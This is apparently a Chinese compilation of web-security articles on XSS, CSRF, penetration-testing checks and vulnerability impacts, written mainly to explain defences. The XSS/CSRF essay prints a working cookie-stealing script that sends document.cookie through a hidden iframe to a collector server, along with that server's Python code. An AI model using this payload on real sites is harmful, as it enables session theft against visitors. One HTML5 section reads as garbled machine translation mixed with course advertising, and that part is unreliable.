本文目录一览：
- 1、XSS攻击如何实现以及保护Web站点免受跨站点脚本攻击
- 2、前端安全方面有没有了解？xss和csrf如何攻防
- 3、渗透测试应该怎么做呢？
- 4、HTML5培训：HTML5应用程序的安全风险是什么？
- 5、网站漏洞危害有哪些
XSS攻击如何实现以及保护Web站点免受跨站点脚本攻击
使用工具和测试防范跨站点脚本攻击. 跨站点脚本（XSS）攻击是当今主要的攻击途径之一，利用了Web站点的漏洞并使用浏览器来窃取cookie或进行金融交易。跨站点脚本漏洞比较常见，并且要求组织部署涵盖威胁建模、扫描工具和大量安全意识在内的周密的安全开发生命周期，以便达到最佳的XSS防护和预防。本文解释了跨站点脚本攻击是如何实现并且就如何保护企业Web应用免于这种攻击提供了建议。 跨站点脚本（XSS）允许攻击者通过利用因特网服务器的漏洞来发送恶意代码到其他用户。攻击者利用跨站点脚本（XSS）攻击向那些看似可信任的链接中注入恶意代码。当用户点击了链接后，内嵌的程序将被提交并且会在用户的电脑上执行，这会使黑客获取访问权限并偷走敏感数据。攻击者使用XSS来攻击受害者机器上的漏洞并且传输恶意代码而不是攻击系统本身。 通过用户输入的数据返回错误消息的Web表格，攻击者可以修改控制Web页面的HTML代码。黑客能够在垃圾信息中的链接里插入代码或者使用欺诈邮件来诱使用户对其身份产生信任。 例如攻击者可以发送带有URL的邮件给受害人，这个URL指向一个Web站点并且提供浏览器脚本作为输入；或者在博客或诸如Facebook、Twitter这样的社交网站上发布恶意URL链接。当用户点击这个链接时，该恶意站点以及脚本将会在其浏览器上运行。浏览器不知道脚本是恶意的并将盲目地运行这个程序，这转而允许攻击者的浏览器脚本使用站点的功能来窃取cookie或者冒充合法的用户来完成交易。 一些通常的跨站点脚本预防的最佳实践包括在部署前测试应用代码，并且以快速、简明的方式修补缺陷和漏洞。Web应用开发人员应该过滤用户的输入来移除可能的恶意字符和浏览器脚本，并且植入用户输入过滤代码来移除恶意字符。通常管理员也可以配置浏览器只接受来自信任站点的脚本或者关闭浏览器的脚本功能，尽管这样做可能导致使用Web站点的功能受限。 随着时代的进步黑客们变得更加先进，使用收集的工具集来加快漏洞攻击进程。这意味着仅仅部署这些通常的XSS预防实践是不够的，保护和预防过程必须从底层开始并持续提升。预防过程必须在开发阶段开始，建立在一个牢靠、安全的开发生命周期方法论之上的Web应用在发布版本中不太可能暴露出漏洞。这样以来，不仅提升了安全性，也改善了可用性而且缩减了维护的总体费用，因为在现场环境中修补问题比在开发阶段会花费更多。 威胁建模在XSS预防中也是重要的一个方面，应该纳入到每个组织的安全开发生命周期当中。威胁建模评估和辨识在开发阶段中应用程序面临的所有的风险，来帮助Web开发人员更好地理解需要什么样的保护以及攻击一旦得逞将对组织产生怎样的影响。要辨识一个特定应用的威胁级别，考虑它的资产以及它访问的敏感信息量是十分重要的。这个威胁建模过程将确保在应用的设计和开发过程中战略性地融合了安全因素，并且增强了Web开发人员的安全意识。 对于大型项目的Web开发人员来说，源代码扫描工具和Web应用漏洞扫描器是提高效率和减少工作量的通常选择。
前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
渗透测试应该怎么做呢？
01、信息收集
1、域名、IP、端口
域名信息查询：信息可用于后续渗透
IP信息查询：确认域名对应IP，确认IP是否真实，确认通信是否正常
端口信息查询：NMap扫描，确认开放端口
发现：一共开放两个端口，80为web访问端口，3389为windows远程登陆端口，嘿嘿嘿，试一下
发现：是Windows Server 2003系统，OK，到此为止。
2、指纹识别
其实就是网站的信息。比如通过可以访问的资源，如网站首页，查看源代码:
看看是否存在文件遍历的漏洞（如图片路径，再通过…/遍历文件）
是否使用了存在漏洞的框架（如果没有现成的就自己挖）
02、漏洞扫描
1、主机扫描
Nessus
经典主机漏扫工具，看看有没有CVE漏洞：
2、Web扫描
AWVS（Acunetix | Website Security Scanner）扫描器
PS：扫描器可能会对网站构成伤害，小心谨慎使用。
03、渗透测试
1、弱口令漏洞
漏洞描述
目标网站管理入口（或数据库等组件的外部连接）使用了容易被猜测的简单字符口令、或者是默认系统账号口令。
渗透测试
① 如果不存在验证码，则直接使用相对应的弱口令字典使用burpsuite 进行爆破
② 如果存在验证码，则看验证码是否存在绕过、以及看验证码是否容易识别
风险评级：高风险
安全建议
① 默认口令以及修改口令都应保证复杂度，比如：大小写字母与数字或特殊字符的组合，口令长度不小于8位等
② 定期检查和更换网站管理口令
2、文件下载（目录浏览）漏洞
漏洞描述
一些网站由于业务需求，可能提供文件查看或下载的功能，如果对用户查看或下载的文件不做限制，则恶意用户就能够查看或下载任意的文件，可以是源代码文件、敏感文件等。
渗透测试
① 查找可能存在文件包含的漏洞点，比如js，css等页面代码路径
② 看看有没有文件上传访问的功能
③ 采用…/来测试能否夸目录访问文件
风险评级：高风险
安全建议
① 采用白名单机制限制服务器目录的访问，以及可以访问的文件类型(小心被绕过)
② 过滤【./】等特殊字符
③ 采用文件流的访问返回上传文件（如用户头像），不要通过真实的网站路径。
示例：tomcat，默认关闭路径浏览的功能：
param-namelistings/param-name
param-valuefalse/param-value
3、任意文件上传漏洞
漏洞描述
目标网站允许用户向网站直接上传文件，但未对所上传文件的类型和内容进行严格的过滤。
渗透测试
① 收集网站信息，判断使用的语言（PHP，ASP，JSP）
② 过滤规则绕过方法：文件上传绕过技巧
风险评级：高风险
安全建议
① 对上传文件做有效文件类型判断，采用白名单控制的方法，开放只允许上传的文件型式；
② 文件类型判断，应对上传文件的后缀、文件头、图片类的预览图等做检测来判断文件类型，同时注意重命名（Md5加密）上传文件的文件名避免攻击者利用WEB服务的缺陷构造畸形文件名实现攻击目的；
③ 禁止上传目录有执行权限；
④ 使用随机数改写文件名和文件路径，使得用户不能轻易访问自己上传的文件。
4、命令注入漏洞
漏洞描述
目标网站未对用户输入的字符进行特殊字符过滤或合法性校验，允许用户输入特殊语句，导致各种调用系统命令的web应用，会被攻击者通过命令拼接、绕过黑名单等方式，在服务端运行恶意的系统命令。
渗透测试
风险评级：高风险
安全建议
① 拒绝使用拼接语句的方式进行参数传递；
② 尽量使用白名单的方式（首选方式）；
③ 过滤危险方法、特殊字符，如：【|】【】【；】【’】【"】等
5、SQL注入漏洞
漏洞描述
目标网站未对用户输入的字符进行特殊字符过滤或合法性校验，允许用户输入特殊语句查询后台数据库相关信息
渗透测试
① 手动测试：判断是否存在SQL注入，判断是字符型还是数字型，是否需要盲注
② 工具测试：使用sqlmap等工具进行辅助测试
风险评级：高风险
安全建议
① 防范SQL注入攻击的最佳方式就是将查询的逻辑与其数据分隔，如Java的预处理，PHP的PDO
② 拒绝使用拼接SQL的方式
6、跨站脚本漏洞
漏洞描述
当应用程序的网页中包含不受信任的、未经恰当验证或转义的数据时，或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时，就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本，并劫持用户会话、破坏网站或将用户重定向到恶意站点。
三种XSS漏洞：
① 存储型：用户输入的信息被持久化，并能够在页面显示的功能，都可能存在存储型XSS，例如用户留言、个人信息修改等。
② 反射型：URL参数需要在页面显示的功能都可能存在反射型跨站脚本攻击，例如站内搜索、查询功能。
③ DOM型：涉及DOM对象的页面程序，包括：document.URL、document.location、document.referrer、window.location等
渗透测试
存储型，反射型，DOM型
风险评级：高风险
安全建议
① 不信任用户提交的任何内容，对用户输入的内容，在后台都需要进行长度检查，并且对【】【】【"】【’】【】等字符做过滤
② 任何内容返回到页面显示之前都必须加以html编码，即将【】【】【"】【’】【】进行转义。
7、跨站请求伪造漏洞
漏洞描述
CSRF，全称为Cross-Site Request Forgery，跨站请求伪造，是一种网络攻击方式，它可以在用户毫不知情的情况下，以用户的名义伪造请求发送给被攻击站点，从而在未授权的情况下进行权限保护内的操作，如修改密码，转账等。
渗透测试
风险评级：中风险（如果相关业务极其重要，则为高风险）
安全建议
① 使用一次性令牌：用户登录后产生随机token并赋值给页面中的某个Hidden标签，提交表单时候，同时提交这个Hidden标签并验证，验证后重新产生新的token，并赋值给hidden标签；
② 适当场景添加验证码输入：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串；
③ 请求头Referer效验，url请求是否前部匹配Http(s)😕/ServerHost
④ 关键信息输入确认提交信息的用户身份是否合法，比如修改密码一定要提供原密码输入
⑤ 用户自身可以通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie；
8、内部后台地址暴露
漏洞描述
一些仅被内部访问的地址，对外部暴露了，如：管理员登陆页面；系统监控页面；API接口描述页面等，这些会导致信息泄露，后台登陆等地址还可能被爆破。
渗透测试
① 通过常用的地址进行探测，如login.html，manager.html，api.html等；
② 可以借用burpsuite和常规页面地址字典，进行扫描探测
风险评级：中风险
安全建议
① 禁止外网访问后台地址
② 使用非常规路径（如对md5加密）
9、信息泄露漏洞
漏洞描述
① 备份信息泄露：目标网站未及时删除编辑器或者人员在编辑文件时，产生的临时文件，或者相关备份信息未及时删除导致信息泄露。
② 测试页面信息泄露：测试界面未及时删除，导致测试界面暴露，被他人访问。
③ 源码信息泄露：目标网站文件访问控制设置不当，WEB服务器开启源码下载功能，允许用户访问网站源码。
④ 错误信息泄露：目标网站WEB程序和服务器未屏蔽错误信息回显，页面含有CGI处理错误的代码级别的详细信息，例如SQL语句执行错误原因，PHP的错误行数等。
⑤ 接口信息泄露：目标网站接口访问控制不严，导致网站内部敏感信息泄露。
渗透测试
① 备份信息泄露、测试页面信息泄露、源码信息泄露，测试方法：使用字典，爆破相关目录，看是否存在相关敏感文件
② 错误信息泄露，测试方法：发送畸形的数据报文、非正常的报文进行探测，看是否对错误参数处理妥当。
③ 接口信息泄露漏洞，测试方法：使用爬虫或者扫描器爬取获取接口相关信息，看目标网站对接口权限是否合理
风险评级：一般为中风险，如果源码大量泄漏或大量客户敏感信息泄露。
安全建议
① 备份信息泄露漏洞：删除相关备份信息，做好权限控制
② 测试页面信息泄露漏洞：删除相关测试界面，做好权限控制
③ 源码信息泄露漏洞：做好权限控制
④ 错误信息泄露漏洞：将错误信息对用户透明化，在CGI处理错误后可以返回友好的提示语以及返回码。但是不可以提示用户出错的代码级别的详细原因
⑤ 接口信息泄露漏洞：对接口访问权限严格控制
10、失效的身份认证
漏洞描述
通常，通过错误使用应用程序的身份认证和会话管理功能，攻击者能够破译密码、密钥或会话令牌， 或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
渗透测试
① 在登陆前后观察，前端提交信息中，随机变化的数据，总有与当前已登陆用户进行绑定的会话唯一标识，常见如cookie
② 一般现在网站没有那种简单可破解的标识，但是如果是跨站认证，单点登录场景中，可能为了开发方便而简化了身份认证
风险评级：高风险
安全建议
① 使用强身份识别，不使用简单弱加密方式进行身份识别；
② 服务器端使用安全的会话管理器，在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中，可以安全地存储，在登出、闲置超时后使其失效。
11、失效的访问控制
漏洞描述
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据，例如：访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
渗透测试
① 登入后，通过burpsuite 抓取相关url 链接，获取到url 链接之后，在另一个浏览器打开相关链接，看能够通过另一个未登入的浏览器直接访问该功能点。
② 使用A用户登陆，然后在另一个浏览器使用B用户登陆，使用B访问A独有的功能，看能否访问。
风险评级：高风险
安全建议
① 除公有资源外，默认情况下拒绝访问非本人所有的私有资源；
② 对API和控制器的访问进行速率限制，以最大限度地降低自动化攻击工具的危害；
③ 当用户注销后，服务器上的Cookie，JWT等令牌应失效；
④ 对每一个业务请求，都进行权限校验。
12、安全配置错误
漏洞描述
应用程序缺少适当的安全加固，或者云服务的权限配置错误。
① 应用程序启用或安装了不必要的功能（例如：不必要的端口、服务、网页、帐户或权限）。
② 默认帐户的密码仍然可用且没有更改。
③ 错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
④ 对于更新的系统，禁用或不安全地配置最新的安全功能。
⑤ 应用程序服务器、应用程序框架（如：Struts、Spring、ASP.NET）、库文件、数据库等没有进行相关安全配置。
渗透测试
先对应用指纹等进行信息搜集，然后针对搜集的信息，看相关应用默认配置是否有更改，是否有加固过；端口开放情况，是否开放了多余的端口；
风险评级：中风险
安全建议
搭建最小化平台，该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架。在所有环境中按照标准的加固流程进行正确安全配置。
13、使用含有已知漏洞的组件
漏洞描述
使用了不再支持或者过时的组件。这包括：OS、Web服务器、应用程序服务器、数据库管理系统（DBMS）、应用程序、API和所有的组件、运行环境和库。
渗透测试
① 根据前期信息搜集的信息，查看相关组件的版本，看是否使用了不在支持或者过时的组件。一般来说，信息搜集，可通过http返回头、相关错误信息、应用指纹、端口探测（Nmap）等手段搜集。
② Nmap等工具也可以用于获取操作系统版本信息
③ 通过CVE，CNVD等平台可以获取当前组件版本是否存在漏洞
风险评级：按照存在漏洞的组件的安全风险值判定当前风险。
安全建议
① 移除不使用的依赖、不需要的功能、组件、文件和文档；
② 仅从官方渠道安全的获取组件(尽量保证是最新版本)，并使用签名机制来降低组件被篡改或加入恶意漏洞的风险；
③ 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁，可以考虑部署虚拟补丁来监控、检测或保护。
详细学习可参考：
HTML5培训：HTML5应用程序的安全风险是什么？
运用HTML5构建的应用程序与任何根据web的应用程序相同，开发商应采取恰当的网络侵犯安全措施，以保护任何存储的数据和通讯安全。想学习HTML5构建应用程序的更多知识和技术，无妨报名参加HTML5训练学习，能在短时间内学到有用的东西，比自学更快速，更有用。
HTML 5移动应用程序面临的挟制有哪些？
1.来自恶意代码的挟制
HTML 5应用程序最有或许通过开发人员差错添加安全风险。例如，通过蓝牙、Wi-Fi或短信自动履行恶意代码。
此恶意代码可以捕获灵敏信息，并将受害者的移动设备露出给侵犯者。更糟糕的是，恶意代码或许会传达并导致应用程序履行差错任务，它的安全弱点正成为一个更大的问题。
通过运用不正确的API，应用程序易受侵犯。除了开发者差错，恶意代码可以通过图画和音乐文件（作为元数据）、QR码、蓝牙传输和通过WiFi传输的SSID字段注入应用程序。应用程序显示的短信也或许包含恶意代码。通过参加HTML5训练学习，你可以学到更系统更全面的知识，不明白的问题也能及时问教师得到解决，大大提高学习功率。
2.中间件是一个主要问题
HTML5应用程序一般需求一个跨途径的中间件结构。此中间件是JavaScript可以用其本机语言调用操作系统的方法之一。该中间件简单遭到恶意代码注入侵犯，称为XSS（跨站点脚本），因为中间件一起承受数据和代码并自动履行后者。
因为咱们颁发应用程序拜访联系人列表、位置数据和摄像头号权限，移动设备上的风险更大。
不仅仅是根据HTML5的应用程序会让用户面临安全问题，还有一个普遍影响应用程序的问题，那就是许多应用程序存在许多风险的做法，并且大多数都与用户隐私相关。
因为收集的数据类型不同，“应用内购买”特别风险。它一般收集灵敏信息，如你的电子邮件地址、电话号码、地址以及或许的银行详细信息。这些信息可以与广告网络和/或分析公司等第三方同享，并承担被乱用的风险。
HTML 5在很大程度上是跨途径的。跨途径应用程序是移动应用程序开发的成果之一，但绝不能在安全问题和用户体会上退让。实现这一点的一种方法是将关键放在应用程序、其云途径特定功用和远程身份验证服务之间的集成上，并将它们与适用于web开发的安全最佳实践相结合。想了解更多关于HTML5应用程序的知识和技术，可以参加HTML5训练班学习，专业讲师，规范课程，封闭式学习，让学习更有用，更科学。
网站漏洞危害有哪些
SQL注入漏洞
SQL注入漏洞的危害不仅体现在数据库层面，还有可能危及承载数据库的操作系统；如果SQL注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不限于：
数据库信息泄漏：数据库中存储的用户隐私信息泄露。
网页篡改：通过操作数据库对特定网页进行篡改。
网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击。
数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被窜改。
服务器被远程控制，被安装后门：经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。
破坏硬盘数据，瘫痪全系统。
XSS跨站脚本漏洞
XSS跨站脚本漏洞的危害包括但不限于：
钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼JavaScript以监控目标网站的表单输入，甚至发起基于DHTML更高级的钓鱼攻击方式。
网站挂马：跨站后利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。
身份盗用：Cookie是用户对于特定网站的身份验证标志，XSS可以盗取用户的Cookie，从而利用该Cookie获取用户对该网站的操作权限。如果一个网站管理员用户Cookie被窃取，将会对网站引发巨大的危害。
盗取网站用户信息：当能够窃取到用户Cookie从而获取到用户身份时，攻击者可以获取到用户对网站的操作权限，从而查看用户隐私信息。
垃圾信息发送：比如在SNS社区中，利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群体。
劫持用户Web行为：一些高级的XSS攻击甚至可以劫持用户的Web行为，监视用户的浏览历史，发送与接收的数据等等。
XSS蠕虫：XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。
信息泄露漏洞
CGI漏洞
CGI漏洞大多分为以下几种类型：信息泄露、命令执行和溢出，因此危害的严重程度不一。信息泄露会暴露服务器的敏感信息，使攻击者能够通过泄露的信息进行进一步入侵；命令执行会对服务器的安全造成直接的影响，如执行任意系统命令；溢出往往能够让攻击者直接控制目标服务器，危害重大。
内容泄露漏洞
内容泄露漏洞，会被攻击者利用导致其它类型的攻击，危害包括但不局限于：
内网ip泄露：可能会使攻击者渗透进入内网产生更大危害。
数据库信息泄露：让攻击者知道数据库类型，会降低攻击难度。
网站调试信息泄露：可能让攻击者知道网站使用的编程语言，使用的框架等，降低攻击难度。
网站目录结构泄露：攻击者容易发现敏感文件。
绝对路径泄露：某些攻击手段依赖网站的绝对路径，比如用SQL注入写webshell。
